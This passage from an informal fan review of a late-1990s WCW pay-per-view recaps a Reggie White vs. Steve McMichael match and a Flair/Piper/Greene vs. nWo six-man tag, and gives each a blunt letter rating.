Off to a nerve hold by White but McMichael hits him low and makes fun of church bells. Off to another leg lock and then a half crab. They ram each other into the corner a few times but Steve kicks the knee out. Figure four is countered and White shoves him down. He actually SELLS THE KNEE….or maybe he’s just tired. They slug it out in the corner and Reggie is all fired up.

There’s an atomic drop and a much better clothesline to put Mongo on the floor. Back in and McMichael takes over, only to have his suplex countered. He hits a splash but there’s no referee because of Debra. Briefcase is stolen by the other football player but Jeff Jarrett comes out and throws in another case and the shot with that gets the pin on White.

Rating: F. As in FIFTEEN MINUTES that this match got. Now before I get into this, I want to emphasize something: Reggie White was TRYING out there. He looked fired up, he was going the entire time, and there have been far worse celebrity performances in the past. That being said, the match was WAY too long and McMichael was the totally wrong person to try to carry him.

Think back to the 97 Great American Bash when it was Mongo/Greene debuting as a team. They faced Arn Anderson and Ric Flair, two of the best ring technicians ever. Flair and Arn walked then through a 20 minute match and it wasn’t that terrible. That being said, this was a HORRIBLE idea. You took basically a rookie and had him work a fifteen minute match with a football player. Horrible match, but more based on the people that put it together rather than the wrestlers.

Kevin Greene/Roddy Piper/Ric Flair vs. Syxx/Kevin Nash/Scott Hall

Here’s your main event. Nothing on the line, just pride. It’s Flair’s first match back in 8 months. Greene played for the Carolina Panthers so he’s incredibly popular. Flair vs. Syxx to start. Syxx takes him down quickly and grabs a headlock. Flair chops him down but Syxx kicks him in the face. Syxx chops him in the corner and Flair is all like boy please. There’s a backdrop and a pelvic thrust to the Outsiders.

Hall comes in and takes a punch and Flair wants Nash. Greene and Piper haven’t done anything yet. Hall comes in legally and Flair says bring it on. Now it’s off to Greene and it’s time to stall. Nash comes in before Hall does anything. They shove each other around and Nash pounds away with the usual stuff in the corner. Greene comes back with a shoulderblock to take down the other Kevin and he does it again. Nash heads to the floor so Greene beats up both other Wolfpac members.

Hall wants Piper so here he is. Piper has a HUGE bandage on his right thigh. Into the corner and Piper rifles off rights and lefts as we continue the start and stop nature of this match. A knee lift by Piper puts Piper down (not a typo) but Hall shoves him into the corner. Roddy fights off all three of them at once but Syxx manages to get in a shot to the leg to give the NWO their first advantage.

Piper kicks away a figure four attempt and dives to Flair, putting the total time the NWO was in control at 19 seconds. Flair comes in but gets knocked into the corner for the Flair Flip. He comes off the top and jumps into the fallaway slam by Hall. They all head to the floor and Greene runs over Syxx. Flair is the face in peril and gets caught in Snake Eyes.

Back to Hall for nothing of note and it’s back to Syxx. He hits the Bronco Buster, drawing a homosexual slur chant. That of course fires up the He-Man known as Ric Flair but Syxx takes him back down almost immediately. Flair tags in Piper but the referee doesn’t see it. Piper is like screw that and decks Anderson and everything breaks down. Nick Patrick, freshly good again, replaces Anderson. Flair hits Hall low and puts on the Figure Four. Piper puts Nash in the sleeper and Syxx gets powerslammed for the triple win.

Rating: C. This was a basic six man tag but MAN did the place pop for the win. This is supposed to be a big deal for some reason with Tony calling it the biggest moment in the history of WCW. It’s probably the best match of the night other than the opener and this one kind of almost means something so I’ll give it the point. Greene was having a blast out here and did what he could.

Overall Rating: N. As in nothing. I’ve got nothing that could accurately describe how worthless this was. Some of the matches are ok at best but for the most part they were either bad or pointless. Nothing to see here at all as none of the big stars were here for the most part, at least not wrestling. This was the second of three straight PPVs with no Hogan and as annoying as he was, without him there was really no point to anything because he was world champion. Horrible show that was actually making me mad at times, which is a rarity.

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